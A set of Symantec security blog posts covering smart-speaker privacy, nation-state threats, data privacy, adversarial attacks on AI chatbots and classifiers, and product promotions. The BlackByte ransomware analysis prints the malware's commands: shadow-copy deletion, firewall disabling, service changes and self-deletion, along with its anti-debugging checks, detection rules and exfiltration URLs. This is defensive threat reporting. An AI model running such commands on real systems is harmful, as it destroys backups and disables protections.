Be careful about which accounts you connect to your voice assistant. Maybe even create a new account if you do not need to use the calendar or address book.
For Google Home you can disable “personal results” from showing up.
Erase sensitive recordings from time to time, although this may degrade the quality of the service as it may hamper the device in “learning” how you speak.
If you are not using the voice assistant, mute it. Unfortunately, this can be inconvenient as most likely it will be switched off when you actually need it.
Turn off purchasing if not needed or set a purchase password.
Pay attention to notification emails, especially ones about new orders for goods or services.
Protect the service account linked to the device with a strong password and 2FA, where possible.
Use a WPA2 encrypted Wi-Fi network and not an open hotspot at home.
Create a guest Wi-Fi network for guests and unsecured IoT devices.
Where available lock the voice assistant down to your personal voice pattern.
Disable unused services.
Don’t use the voice assistant to remember sensitive information such as passwords or credit card numbers.
For more details, read our white paper: A guide to the security of voice-activated smart speakers
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Ex-cyber chiefs of U.S., Israel Decry Threat Disconnect
Keith Alexander and Nadav Zafrir say government and the private sector need to fix a disconnect in the way that threat info gets processed and shared
The former top cyber warriors for the United States and Israel say government and the private sector will need to work far more closely than they do now if they’re going to stave off an assortment of increasingly aggressive nation-state adversaries.
Keith Alexander, who served as Director of the National Security Agency, Chief of the Central Security Service and as Commander of the United States Cyber Command, shared a stage on the final day of RSA Conference last week with Nadav Zafrir, the former commander of Israel’s legendary 8200 Intelligence Unit.
As they shared their experiences battling cyber foes during their time in uniform, the two men, who now work in the private sector, shared a dire assessment of the mounting threats to enterprise companies.
“The ability to share [information about cyber attacks] at speed doesn’t exist and rarely gets to government in time to do something about it,” said Alexander.
He painted a picture in which organizations are usually on their own to handle cyber attacks. The way to guarantee a more secure security future depends on establishing an integrated system between the government and the private sector to coordinate cyber defense.
We are in a place where some of the foundations of what it means to be a modern civilization are at threat.
Zafrir agreed, adding that he frequently encounters situations where organizations needlessly erect obstacles that prevent effective sharing of communications and collaboration with other businesses.
“We’re blocking ourselves to death,” he said as Alexander nodded in quiet assent. “That’s not the way to go.”
Meanwhile, Zafrir warned that attackers have a wider selection of potential targets than ever. He said the increasing pace of digitization and soaring increase in the number of things that have been connected to the internet since 2007 has created untold new opportunities for malicious hackers to find exploits.
“Look at the electricity and financial system,” Zafrir said, adding that attackers are acquiring the capability to to knock out those industries in a state-sponsored cyber attack – something that he said would have a devastating impact on society. “We are in a place where some of the foundations of what it means to be a modern civilization are at threat,” he said.
“If we don't have faith in the electric grid or the financial system, we will head back to the Dark Ages," he said.
First Shots Have Already Been Fired
Other nations have suffered deliberating attacks against their infrastructure – Ukraine being a repeated victim of attacks against its banks, government and power grid. But the former intelligence chiefs suggested that the U.S. is living on borrowed time.
“We’re going to see huge cyber attacks on the U.S. and [on American allies in the Mideast] by Iran and we’re not ready for it,” Alexander said, accusing Iran of already conducting sporadic attacks against U.S. allies in the region.
He also warned that Russia and China will continue to step up their cyber probes of U.S. targets looking for ways to disrupt networks or steal valuable intellectual property. But Alexander said that while he didn’t expect a military confrontation with China, he said the long-term impact of their cyber campaign is likely larger than any cyber attacks coming from Russia or Iran.
“I don’t see China going to war with us,” he said. “But they have 1.3 billion people and really need to get their economy going – and the best way to get their economy going is to steal your intellectual property.”
The two former intelligence chiefs also said it’s up to government and the private sector to find more effective ways to handle and process information about new threats with the goal being an “integrated cyber picture.” Meanwhile, they urged companies not to wait but to beef up their talent pool by thinking differently about how they hire.
“We screened people not just by what they knew but by learnability,” Zafrir recalled of his time leading the 8200 Unit, which intelligence analysts consider be one of the most formidable of its kind in the world. “If you choose right people with the aptitude to learn fast, miracles happen,” he said. “You need to become creative about talent.”
Alexander added that the government might also want to reach out to universities to raise awareness of cyber security. He also suggested a program where government would underwrite the cost of college to produce more graduates with backgrounds in cyber security who could pay off their loans working for public and private companies.
“It will be good for our country,” he said
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Exbyte: BlackByte Ransomware Attackers Deploy New Exfiltration Tool
Exbyte is the latest tool developed by ransomware attackers to expedite data theft from victims.
Symantec’s Threat Hunter Team has discovered that at least one affiliate of the BlackByte ransomware (Ransom.Blackbyte) operation has begun using a custom data exfiltration tool during their attacks. The malware (Infostealer.Exbyte) is designed to expedite the theft of data from the victim’s network and upload it to an external server.
BlackByte is a ransomware-as-a-service operation that is run by a cyber-crime group Symantec calls Hecamede. The group sprang to public attention in February 2022 when the U.S. Federal Bureau of Investigation (FBI) issued an alert stating that BlackByte had been used to attack multiple entities in the U.S., including organizations in at least three critical infrastructure sectors. In recent months, BlackByte has become one of the most frequently used payloads in ransomware attacks.
Inside Exbyte
The Exbyte exfiltration tool is written in Go and designed to upload stolen files to the Mega.co.nz cloud storage service.
On execution, Exbyte performs a series of checks for indicators that it may be running in a sandboxed environment. This is intended to make it more difficult for security researchers to analyze the malware. To do this, it calls the IsDebuggerPresent and CheckRemoteDebuggerPresent APIs. It then checks for the running processes from the following applications:
MegaDumper 1.0 by CodeCracker / SnD
Import reconstructor
x64dbg
x32dbg
OLLYDBG
WinDbg
The Interactive Disassembler
Immunity Debugger - [CPU]
It then checks for the following anti-virus or sandbox-related files:
avghooka.dll
avghookx.dll
sxin.dll
sf2.dll
sbiedll.dll
snxhk.dll
cmdvrt32.dll
cmdvrt64.dll
wpespy.dll
vmcheck.dll
pstorec.dll
dir_watch.dll
api_log.dll
dbghelp.dll
This routine of checks is quite similar to the routine employed by the BlackByte payload itself, as documented recently by Sophos.
Next, Exbyte enumerates all document files on the infected computer, such as .txt, .doc, and .pdf files, and saves the full path and file name to %APPDATA%\dummy. The files listed are then uploaded to a folder the malware creates on Mega.co.nz. Credentials for the Mega account used are hardcoded into Exbyte.
Exbyte is not the first custom-developed data exfiltration tool to be linked to a ransomware operation. In November 2021, Symantec discovered Exmatter, an exfiltration tool that was used by the BlackMatter ransomware operation and has since been used in Noberus attacks. Other examples include the Ryuk Stealer tool and StealBit, which is linked to the LockBit ransomware.
BlackByte TTPs
In recent BlackByte attacks investigated by Symantec, the attackers exploited the ProxyShell (CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207) and ProxyLogon (CVE-2021-26855 and CVE-2021-27065) vulnerabilities in Microsoft Exchange Servers to gain initial access.
Symantec has observed attackers using AdFind, AnyDesk, NetScan, and PowerView prior to deploying the ransomware payload.
Recent attacks have used version 2.0 of the BlackByte payload. On execution, the ransomware payload itself appears to download and save debugging symbols from Microsoft. The command is executed directly from the ransomware:
powershell -command "(New-Object Net.WebClient).DownloadFile('http://msdl.microsoft.com/download/symbols/ntkrnlmp.pdb/11D60DB07BA7433B923F49867DF515721/ntkrnlmp.pdb', 'CSIDL_SYSTEM_DRIVE\systemdata\ntkrnlmp.pdb')"
The ransomware then checks the version information of ntoskrnl.exe and then creates a service with the following details:
binPath = C:\systemdata\generalate
displayName = AAAAAAAAAAAAAA!!!!!!!!!!!!!!!
BlackByte then proceeds with the removal of Kernel Notify Routines. The purpose of this is to attempt to bypass EDR products. This functionality in BlackByte has already been documented by Sophos and it closely resembles the techniques leveraged in the EDRSandblast tool.
BlackByte uses VssAdmin to delete volume shadow copies and resize storage allocation:
cmd.exe /c start vssadmin.exe Delete Shadows /All /Quiet
vssadmin Resize ShadowStorage /For=K: /On=K: /MaxSize=401MB
It then makes the following service modifications:
sc create ODosTEmONa binPath= CSIDL_SYSTEM_DRIVE\systemdata\generalate type= kernel
sc.exe config RemoteRegistry start= auto
sc.exe config Dnscache start= auto
sc.exe config SSDPSRV start= auto
sc.exe config fdPHost start= auto
sc.exe config upnphost start= auto
The ransomware then modifies firewall settings to enable linked connections:
netsh advfirewall firewall set rule "group=\"Network Discovery\" " new enable=Yes"
netsh advfirewall firewall set rule "group=\"File and Printer Sharing\" " new enable=Yes"
cmd.exe /c netsh advfirewall set allprofiles state off
Finally, BlackByte injects itself into an instance of svchost.exe, conducts file encryption, and then deletes the ransomware binary on disk:
cmd.exe /c ping 1.1.1.1 -n 10 > Nul & Del CSIDL_WINDOWS\rdac.exe /F /Q
CSIDL_SYSTEM\svchost.exe -s 27262842
Emerging Force
Following the departure of a number of major ransomware operations such as Conti and Sodinokibi, BlackByte has emerged as one of the ransomware actors to profit from this gap in the market. The fact that actors are now creating custom tools for use in BlackByte attacks suggests that it may be on the way to becoming one of the dominant ransomware threats.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Yara Rule
rule blackbyte_exfil
{
meta:
copyright = "Symantec"
family = "Alias:ExfilTool"
description = "Detects exfil tool used by BlackByte ransomware"
strings:
$data_str1 = {41 B9 04 00 00 00 66 66 0F 1F 84 00 00 00 00 00
43 0F B6 84 02 A0 00 00 00 41 30 00 49 FF C0 49
83 E9 01 75 EB 49 83 EB 01 75 D5 40 B7 09 48 8D}
$data_str2 = {32 10 05 AF 59 2E 0D 38 32 59 C0 99 E8 A5 87 CB}
$data_str3 = "@BCEFHJLNPRTVY" ascii
condition:
all of ($data_str*)
and filesize > 2MB and filesize < 3MB and
(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550)
}
rule blackbyte_exfil_unpacked
{
meta:
copyright = "Symantec"
family = "Alias:ExfilTool"
description = "Detects unpacked exfil tool used by BlackByte ransomware"
strings:
$str1 = ").Login"
$str2 = ").NewUpload"
$str3 = ").CreateDir"
$str4 = ".PreloginMsg"
$str5 = ".UploadCompleteMsg"
$str6 = ").UploadFile"
$str7 = {FF 20 47 6F 20 62 75 69 6C 64 69 6E 66 3A 08 02
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
07 75 6E 6B 6E 6F 77 6E 00 00 00 00 00 00 00 00}
$c1 = {44 24 68 44 31 C2 88 50 10 0F B6 54 24 56 44 0F}
$c2 = {FB 48 89 F7 4C 89 C6 E8 54 ED F6 FF 4C 8D 43 01}
condition:
all of ($str*) and ($c1 or $c2)
and filesize > 8MB and
(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550)
}
Indicators of Compromise
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
SHA256 file hashes:
3fb160e1770fafeedff2d77841bf02108c25cca4cb6d77e3fbf759077f356b70 - Infostealer.Exbyte
0097b8722c8c0840e8c1a4dd579438344b3e6b4d630d17b0bbe9c55159f43142 - Infostealer.Exbyte
aeb1b789395357e8cc8dbd313b95f624fc03e037984040cd7c1704775bfb4bd2 - Infostealer.Exbyte
477382529659c3452020170d8150820210ab8cbdc6417a0f0ac86a793cd0d9b4 - Ransom.Blackbyte
1df11bc19aa52b623bdf15380e3fded56d8eb6fb7b53a2240779864b1a6474ad - Ransom.Blackbyte
44a5e78fce5455579123af23665262b10165ac710a9f7538b764af76d7771550 - Ransom.Blackbyte
eb24370166021f9243fd98c0be7b22ab8cbc22147c15ecef8e75746eb484bb1a - Ransom.Blackbyte
f361bafcc00b1423d24a7ea205264f5a0b96011e4928d9a91c2abc9911b433a1 - Ransom.Blackbyte
20848d28414d4811b63b9645adb549eed0afbd6415d08b75b0a93fbf7cfbf21f - Ransom.Blackbyte
754ac79aca0cc1bcf46000ef6c4cbe8bebeb50dae60823a1e844647ac16b6867 - Ransom.Blackbyte
f157090fd3ccd4220298c06ce8734361b724d80459592b10ac632acc624f455e - AdFind
794a5621fda2106fcb94cbd91b6ab9567fb8383caa7f62febafcf701175f2b91 - AdFind batch script
572d88c419c6ae75aeb784ceab327d040cb589903d6285bbffa77338111af14b - NetScan
efc2125e628b116eb0c097c699e473a47a280dfcd3e02cada41bdf6969600b41 - PowerView
4877ff7c3c2abd349646db1163814811e69b36374e289f5808cc794113ef55ae - AnyDesk
Network:
hxxp://gfs270n392[.]userstorage.mega.co[.]nz/ul/PCfY6R3GKGjIEQK2tzWLODSlhG-h5NbxGHdNAToANCzjKK8Z6kdCiqshxM6ctHDKpLU09-YobgYybaQkCnpwnw/4718592
hxxp://gfs262n303[.]userstorage.mega.co[.]nz/ul/f_re9dP6f9G8GAJhd3p43aJnvHnw7rCHLumJV-MXDlaL2RaSQQrPH1BYStJHWy4JkPgJ13KczuiJoOl0iwjxDA/15204352
hxxp://gfs206n171[.]userstorage.mega.co[.]nz/ul/9Y39ts0Mp6xtige0-wHhmMG74YgASgG1UhZYfzl_fh8TN_TQo1gSa92TNe_HTBxvOTirA0yfouEE74-Y3Cy1Tw/81264640
hxxp://gfs206n108[.]userstorage.mega.co[.]nz/ul/aX72PSSxERHKJwLdWCCOmsJQRioP7N6kcAltRRTbAgwGtNzcsdYa_7HTb4ToVV_HcVPORXotYAF5WqFAsmAOKA/15204352
hxxp://gfs208n174.userstorage[.]mega.co.nz/ul/z6nR8uTohiga4QeILJsXcAWlt05Vhu2XiDlne_Qag-rgAmZkK2aZMvYrWC5FHRebBpMoxYZEEqSStHyvU6SnWQ/6815744
hxxp://gfs214n129.userstorage[.]mega.co.nz/ul/wVJUlrn9bMLekALaMZx_o5FeK-U1oG9q4CWqHGNslUnVY2-BgJcEUxIJX9O4fXEWkt-x80LeAr7Jz9gXTCwzDA/2752512
hxxp://gfs204n140.userstorage[.]mega.co.nz/ul/_Amu75VCTCu6BgIdFs8ZgHPyHqBFm5Cj8bV1xkM5QFt2T0x-9C_KlHQAQ3kX4bzj8jgmyK9-dlbmx9ef6Y9JDw/1966080
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Expanding the Conversation about Confidentiality and Data Privacy
Security practitioners face new questions about whether traditional approaches to access control are enough to meet heightened demands around privacy
Privacy is a huge deal at Symantec. As one of the world’s largest security companies, we ‘ve made company-wide commitments to being responsible stewards of customer data.
Symantec has a dedicated function for privacy that is separate to the cyber security team that reports to me. My team naturally feel a strong sense of responsibility for driving good privacy outcomes.
Today, on Data Privacy Day, I’ve been reflecting on how the role and approach of security practitioners to privacy needs to evolve to meet the heightened expectations of the community we serve.
The remit of the security function is usually described as being to protect the confidentiality, availability and integrity of data. You might instinctively assume that our role in privacy relates most to confidentiality – specifically, to prevent unauthorized disclosure of PII to external parties. At Symantec, we obsess about keeping unauthorized users and malware off our networks and implementing data protection controls to monitor and control the flow of data from users off the network.
But that’s not where the conversation about confidentiality and privacy ends.
At Symantec, we obsess about keeping unauthorized users and malware off our networks and implementing data protection controls to monitor and control the flow of data from users off the network.
Customers also reasonably expect security teams to monitor and control who has access to PII data inside the company. They expect it to only be accessed on a ‘need-to-know’ basis. But many organizations have fallen short on these expectations. Consider the following.
Key staff need to be trusted to access repositories of customer data as part of their work. But should they be trusted to access all customer data at once?
Health professionals need to be trusted to access the records of patients in their care. But should they be allowed access to records of patients they didn’t directly treat? (Ask George Clooney, Ed Sheeran, Kim Kardashian and Britney Spears).
A loan officer needs to be trusted with as much information as possible about an applicant to make responsible decisions about their credit worthiness. But should they have access to that client’s medical information?
Developers of apps in which users agree to have their location tracked and stored may need to be trusted to access that data to refine their algorithms and further improve the service. But does that use case necessitate access to real names or other PII data?
Internal auditors need to be trusted to access internal records, such as HR files. Should they be trusted to access large numbers of staff records? What is the appropriate threshold?
These examples raise questions about whether traditional approaches to access control are enough to meet heightened demands around privacy. Most organizations use some form of a role-based access control regime – assigning access to resources according to broad, pre-defined roles. Most review access control on a regular basis to ensure business justification remains valid. But the examples above suggest this approach doesn’t account for all security and privacy use cases.
An alternative and more-involved approach is to work towards policy-based (aka ‘attribute-based’) access control. This is best thought of as a more complex set of conditions (‘IF, THEN’ statements) that determine whether a subject can access a resource at a given time.
The idea is to implement fine-grained rules that can be dynamically fine-tuned according to security and privacy requirements.
So, in the healthcare examples above, a health practitioner can only access the record of a patient for the time the patient is checked in under their care, and only from a managed device that was given a clean bill of health via a recent scan and is connecting via a known, trusted pattern of behavior. A combination of these attributes may also determine whether some fields are not accessible, whether PII data is tokenized or whether the file can be written to or exported.
Irrespective of the access model deployed, a more complex privacy landscape demands that security practitioners devise more fine-grained, adaptive means of determining what access is appropriate, and to codify these rules using the tools available.
Technical measures aside, our threat models must unfortunately assume that a person with sanctioned access to a resource might choose to abuse that access. This is as much a question of organizational culture as it is of controls.
On this Data Privacy Day, I will be asking my team what more we can do in our daily interactions to instill a duty of care for customer data across the organization.
Data Privacy Day
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Expect a New Battle in Cyber Security: AI versus AI
The Rise of the Chatbots
If you want to understand how rapidly artificial intelligence is changing businesses, look no further than the rise of chatbots.
The software-based conversationalists can help sales people find specific data or charts, keep schedules for executives, or walk security analysts through the proper response to an incident. Companies cannot avoid them. Some 65 percent of information-technology departments currently support Siri, Cortana or Google Now somewhere in their organizations while 19% of organizations have deployed AI chatbots, with workplace adoption anticipated to grow to 57 percent by 2021.
Yet, chatbots — and AI technology, in general — also bring risks. Last year, in an attempt to bring crowd-sourced training to an AI experiment, Microsoft put its "Tay" chatbot online. Within 24 hours, a structured attack on Tay resulted in the bot shouting "HITLER DID NOTHING WRONG" and tweeting its support for genocide.
The attack presages the problems inherent in the new technology. Just as businesses begin to trust systems based on machine learning, attackers may co-opt the systems. Researchers are already focusing on ways to turn AI against its owners, from hacking chatbots to finding ways to hide attacks from pattern recognition algorithms.
Even the most human-like chatbot could be vulnerable to social engineering, and because chatbots are an interface to backend systems, such attacks could have real consequences. Without adequate safeguards, a chatbot with access to customer data, for example, could be tricked to parrot back the information.
"Fears exist that chatbots and the companies that created them could inadvertently eavesdrop on sensitive work-related conversations," said Peter Tsai, senior technology analyst at Spiceworks, a social network catering to IT professionals around the world.
"In addition, security researchers have also exposed vulnerabilities in digital assistants that hackers could exploit to launch unwanted commands or turn phones and computers into wiretapping devices," he said.
What goes for chatbots, goes double for AI in general.
Ongoing research into adversarial attacks on machine-learning and AI systems have produced a variety of vectors of attack and as AI and machine-learning systems become more generally adopted, the attacks will have increasingly dire consequences.
The study of adversarial attacks is not new. Researchers at the University of California at Berkeley have studied adversarial machine learning for more than a decade, but with renewed interest in automation and machine intelligence in almost every facet of business, such attacks are garnering more attention. In a paper published in August 2017, a group of researchers from New York University showed that neural networks and pre-trained machine-learning models — often used as a short cut to speed up research — are vulnerable to pollution by Trojan horse networks that perform as advertised, until specific images or examples are fed into the system.
Researchers from Pennsylvania State University, Google, the University of Wisconsin and the U.S. Army Research Lab were able to create images that would be misclassified by a machine learning system, without knowing the architecture nor gaining access to the training data. With just the ability to input images into the targeted neural network and observing the output, the researchers were able to find a modified image that would be misclassified more than 84 percent of the time.
"Adversarial examples … enable adversaries to manipulate system behaviors," the researchers stated in their paper. "Potential attacks include attempts to control the behavior of vehicles, have spam content identified as legitimate content, or have malware identified as legitimate software." That’s among reasons why companies like Symantec (https://arxiv.org/pdf/1703.00410.pdf ) and IBM (https://arxiv.org/pdf/1707.06728.pdf ) are finding ways to detect and defend against such adversarial machine learning.
Proof of Concept Attacks Already Here
Attackers are already finding ways to dodge detection by machine-learning systems and subvert their training.
Many cyber criminals, for example, create malware delivery systems that use a variety of methods — such as packers and encryption — to transform their malicious programs into digital files that cannot be recognized by anti-malware scanners.
Image transformations that can fool neural networks represent a similar method. While the best known example — causing an image recognition system to misclassify the object in a picture as an ostrich — seems innocuous, the attack resembles some of the common ways that attackers dodge today's antivirus defenses: circumventing the scanners by transforming a malicious program into binary code that seems legitimate.
"Proof of concept attacks exist, so it's more than theory, but not yet found prevalent in the wild," said Brian Witten, senior director of Symantec Research Labs. "The community is still improving the ability to detect adversarial AI, and that is a first crucial step."
Without the tools to detect such attacks, there is little that companies can do except be aware of the existence of attacks. In addition, business groups should inform the information security team when they adopt any machine-learning or AI system.
Almost all security departments — 85 percent — expect workers to involve them in the process of adopting chatbots and other AI systems, according to the recent Spiceworks' survey.
The trend toward greater adoption of AI systems is just beginning. While AI is currently effective at automating tasks where there are limited numbers of variables and possible outcomes, the software is not capable of extremely complex tasks, said Spiceworks' Tsai. Greater complexity may result in more mistakes and, possibly, the increased likelihood of vulnerabilities.
"A computer might be able to master a game like Chess, where there are clear rules, but … struggle in the real world, where anything goes," he said. "For example, with self-driving cars, we’ve already seen injuries when AI encountered situations it was not prepared for due to a complex set of rules."
For security companies adopting any of the plethora of machine-learning technologies, however, the existence of even proof-of-concept adversarial attacks means that they need to evaluate their own products for weaknesses to malicious training and potential backdoors.
Plurilock, a company focused on using nearly two dozen attributes to authenticate users, treats the threat as a real one.
"We look at how we would attack our own systems," said CEO Ian Paterson. "That is critical for any security company to do."
The community is still improving the ability to detect adversarial AI, and that is a first crucial step. - Brian Witten, Symantec
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Expert Advantage: The Broadcom Software Advantage Partner Program
Accelerate the time to value of your Broadcom Software with expert partners for you
At Broadcom Software, we realize the pandemic changed the way the world works. And across the globe, enterprises are transforming their organizations to keep pace. A McKinsey survey reports that nearly 85 percent of executives say their organizations have accelerated their digital initiatives since March, 2020.
By now, it’s almost a cliché to repeat the benefits to the enterprise of business transformation: increased agility, improved productivity, data-driven insights, and enhanced customer experience are just a few that spring easily to mind.
But challenges abound.
As necessary as it is, digital transformation is both complex and difficult. An oft-quoted Harvard Business Review study concluded that as much as 60-70 percent of all change initiatives fail for one reason or another. The fact is that change is difficult for any organization. A recent Gartner report highlights that more than 70 percent of change-affected employees suffer higher stress levels and that five percent perform poorly as a result. Major software lifts only exacerbate these challenges.
Pain Points
There is always an element of doubt or uncertainty when doing a major software implementation or upgrade to meet business objectives. That uncertainty only grows for enterprises considering large-scale business transformation.
A considerable problem is the lack of staffing and technical or program management expertise. The Great Resignation has led to a personnel gap in the necessary expertise and in-the-trenches experience that is needed, even if only for a short time, for a software implementation, upgrade or large business transformation. Indeed, a 2022 survey of IT leaders confirms that the lack of skill sets and talent on staff is the top barrier towards achieving their enterprise’s digital transformation goals.
A second challenge is simply the need to keep pace with technology to remain competitive. Expertise and real-world experience are essential for organizations doing software implementations to maximize the value in their technology investments. Experience and expertise that is vitally necessary to help enterprises avoid all the pitfalls and valleys where they can stumble in what is always a complex process. Just as important is ability to look over the horizon at new technology and balance the tried and true against potential game changing technology to garner the best results without being on the bleeding edge. You must assess the risk and potential reward of technology adoption within the chasm of technology that is constantly changing.
Our Mission: Your Advantage
Broadcom Software provides a new approach to software delivery. Each Broadcom Software customer is unique and operates at a different scale with new and different challenges every day. We see these challenges as an impetus for change—a new approach to software delivery that is focused on addressing your unique needs through a true design partnership.
That’s why we created an industry leading and innovative approach to partnership – with the Expert Advantage Partner Program. The program provides professional services through a super-powered ecosystem that combines Broadcom Software’s own professional services team with our best partners around the world. Our Expert Advantage Consulting Services Partners, bring their knowledge of local markets as well as the skill sets, experience, and expertise organizations of all sizes need to navigate even the thorniest technology challenges.
Together, our professional services teams provide a force-multiplier that super-charges better business results and outcomes – while allowing enterprises to avoid the problems and pitfalls so typical of any software upgrade, implementation, or deployment. It ensures that enterprises receive the maximum value out of their technology investments. Working together, we’ve created a frictionless model designed to build solutions that deliver – and exceed -- on customer expectations. It maximizes positive business outcomes through mutual support, collaboration, co-innovation, and co-investment in new technology services.
Secure Your Advantage
Anyone who needs an upgrade, finds themselves short-staffed due to the “Great Resignation,” or simply needs assistance with the implementation or delivery of their software, our Experts have you covered.
Ready to Secure Your Advantage? Find your Expert by visiting: expert.broadcom.com
* * *
I invite you to stay tuned for the next edition in this series about the Broadcom Software Expert Advantage Partner program. In coming weeks and months, we will focus on real-world customer profiles of organizations who have benefited from the program.
Next up is a case study of how the United State Air Force and Infolock, an Expert Advantage Partner, drove a solution that involved a technological tour-de-force with our DLP product. There’s a lot of facets to this story and I assure you, you won’t want to miss it.
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Extend DLP Policies to Home-Grown Apps
Help your developers shift left and codify data protection
Containers and microservices technologies have transformed how organizations develop new services offering substantial benefits such as portability, agility, resilience, and elasticity. These benefits allow home-grown applications to be re-architected or new integrations to be built to third-party services.
Great for your developers, but what about data protection?
Consider, for example, an application you develop for your employees to enroll and adjust their benefits. Such applications can have tens of supporting microservices that may receive and process sensitive, personal and intellectual property which, left unchecked, introduces new risks.
It can be a hard way to navigate this complex landscape but there is a path forward, enabling developers to Shift Left and integrate the power of data loss protection into their private applications.
Extending Data Protection with the Symantec DLP Detection REST API
Symantec DLP Detection REST API allows your application developers to easily extend your current Symantec DLP policies in their applications. Whether it's the migration of applications across microservices, the modernization of home-grown applications, or adoption of hosted environments, our solution decouples the protocol from the detection functionality.
Figure 1: DLP Detection REST API provides an easy connection between your application and Symantec DLP
Empowering Developers with Data-Aware Applications
The Detection REST API (See Figure 1) puts the power and flexibility of Symantec DLP policies into the hands of your developers. By designing applications with built-in, data-aware Symantec DLP capabilities, developers can ensure that data protection decisions happen before transferring data between microservices, sending emails, or storing data in a data lake. All your developers need to do is add functionality to their applications to perform REST API requests, receive a verdict based on policies, and implement the appropriate actions. You have the flexibility to manage your infrastructure. Or if you prefer, we can handle it for you in the Cloud Detection Server (CDS). You can manage your own on-premises REST API Appliance locally, or use Symantec’s Cloud Detection Service to handle detection requests.
By making our detection technology available as an API, Symantec allows your organization to blend the power of our expertise in data security with the uniqueness of your application and compliance needs. You will be able to have unprecedented visibility and understanding of how information is being created and transformed by your applications.
What this means for you
Symantec DLP offers a range of use cases to cater to diverse data protection needs:
Safely use multiple GenAI services simultaneously by creating your prompt-engineering client
Add data awareness to your CI/CD pipelines
Protect sensitive data generated by home-grown applications
Conduct comprehensive data assessments during Extract-Transform-Load (ETL) processes before sending data to a data lake
Gain visibility and control over complex microservices applications
Shift left today
Work with Symantec to empower your organization with industry-leading data loss prevention capabilities. Symantec can help you navigate the complexities of data protection, allowing your organization to shift left by extending the robust safeguards of Symantec DLP to either home-grown or third-party applications that steer your digital transformation journey.
Developers can continue building powerful applications with unprecedented safeguards to secure your information. You can confidently use sensitive data-aware detection to build response mechanisms tailored to the uniqueness of your applications.
For more information and to learn more, please visit here.
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Extending Security Beyond the Endpoint with Symantec XDR
XDR technology expands visibility and correlates data from thousands of cloud services and endpoints for SOC analysts
At Symantec, part of Broadcom Software, we know that if you work as a SOC analyst, you feel as if threat detection and response can be a never-ending race with a myriad of surprises around every corner.
That’s because there are too many alerts to follow and too much noise to cut through the volume. Indeed, a recent survey estimated that the typical SOC sees more than 11,000 alerts per day. Even more challenging, most of these threats must be manually processed by the SOC analysts.
With the recent need for employees to work from anywhere, SOC analysts need better visibility across their entire environment, from cloud applications, to the network, to the endpoint and beyond. At the same time, they need a way to understand today’s sophisticated threats, which too often unfold across different controls in the environment.
A new Symantec Endpoint Security (SES) Complete technology, Extended Detection and Response, or XDR, is the solution SOC analysts need.
Ironically, detection often is complicated by the growing number of threat detection tools at the SOC’s disposal. There now are many sources for the SOC to track, and multiple consoles for the team to handle. Consequently, response time to any threat alert can become delayed, and the early and critical steps to preventing or containing a breach can be hampered. As a result, SOC analysts face significant challenges. When SOC analysts receive an alert from one product, they are forced to refer to consoles of multiple other control point security products to assess the alert’s validity.
Today, analysts have no other choice but to piece together alerts from multiple tools manually. To engineer more effective security, response times must be faster. Time is always of the essence. To buy that time, enterprises need a solution that extends visibility and correlates data from all the relevant sources – cloud and endpoint – that contain data about a cyber attack or ransomware threat.
The XDR solution
A new Symantec Endpoint Security (SES) Complete technology, Extended Detection and Response, or XDR, is the solution SOC analysts need. Although there is no single industry definition regarding XDR, Symantec Endpoint Security XDR correlates security data across control points and provides visibility and context into an incident from a single console.
Today, our SES Complete XDR ingests and analyzes threat data from Symantec’s CASB, CloudSOC, as well as Data Loss Prevention (DLP) and Secure Web Gateway (SWG) solutions. With these integrations, our XDR provides insight into data exfiltration, identity, network activity, unmanaged endpoints and user behavior analytics (UEBA). This functionality allows SOC analysts to see the connecting points between threats and investigate those that appear suspicious. It significantly helps analysts to cut through the noise and focus on the threats that could seriously impact the enterprise. In the future, our XDR will automatically prioritize alerts and extend automated response activities to other control points.
Extending the visibility SOC analysts need
Symantec XDR extends visibility into user activity on more than 40,000 cloud services. This visibility goes beyond EDR and covers user activities from managed and unmanaged endpoints and services – a capability that is critical to effective security in a post-Covid and work-from-home world.
Symantec XDR integrates EDR with multiple solutions across control points. Within a single console, telemetry from workstations, servers, mobile phones, tablets, email, web, network, and cloud is gathered, and analysts can view correlations and analysis of that data to gain deep insight.
CloudSOC, Symantec’s cloud access security broker (CASB), enables SOC teams to see all sorts of activities they could not view before, such as:
Someone failed to log in to Office 365.
A user trying to login from an unfamiliar country.
A user attempting to download lots of sensitive data.
Also, Symantec’s XDR integration with its DLP solution gives SOC analysts the information to see if data exfiltration is part of the attack, and it provides insight into what is happening in real time.
It’s important to know that XDR is an evolving technology that is available for free to current Broadcom customers who already have SES Complete and CloudSOC. Customers with additional Symantec products, such as DLP and SWG will realize even more visibility. Stay tuned for new versions that will be arriving in the next few months, including a major announcement at the June RSA Conference.
It's past time to extend the visibility, and cut down on complex manual processes, and free our SOC analysts to do their jobs more effectively and efficiently. XDR provides the help they need.
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Fake Flash: Attackers Targeting macOS Users with Malicious Updates
Using behavior based technologies to block threats on macOS with Symantec Endpoint Protection
Steve Jobs famously hated Flash. If he were with us today he would really hate how malware authors are using fake Flash updates to victimize Mac users.
With Gatekeeper and Software Notarization, macOS makes it challenging for malicious actors to get malware installed on a Mac. But malware authors have always recognized security is only as strong as its weakest link; and that weak link is human.
Since Apple stopped supporting Adobe Flash last year, malware authors have rushed in to capitalize on this gap. While this is not a new trick, it’s become a common infection vector, fooling users into downloading and installing fake Flash installers. These fake installers can house anything from adware to backdoors, such as Shlayer and Bundlore. Even though these installers are often digitally unsigned and require the user to manually bypass Gatekeeper, we see that users are willing to bypass the OS warnings and manually install these security risks.
In the example of fake Flash installers, our analysts have targeted generic behaviors such as impersonating an Adobe .dmg, as well as behaviors specific to the malware families hidden in the fake installers.
When detected, a notification will appear:
Additional details can be found in the Security History:
This is only one example of the power of behavioral protection on macOS. Symantec, as a division of Broadcom, first introduced behavioral protection technology on Windows. But it was redesigned for macOS, using file and process attributes as well as events that are specific for the Mac. It even supports the new M1 based Macs. And it’s effective at catching unknown threats. Our teams of security analysts are continuously researching the latest threats targeting macOS and providing new behavioral protection rules through Live Update.
Symantec is focused on protection across all customer platforms. For Mac, we continue to innovate new technologies specific to macOS, as well as port and re-engineer technologies proven in Windows.
We have recently released the Endpoint Protection 14.3 RU2, which includes native support for devices with the Apple M1 chipset.
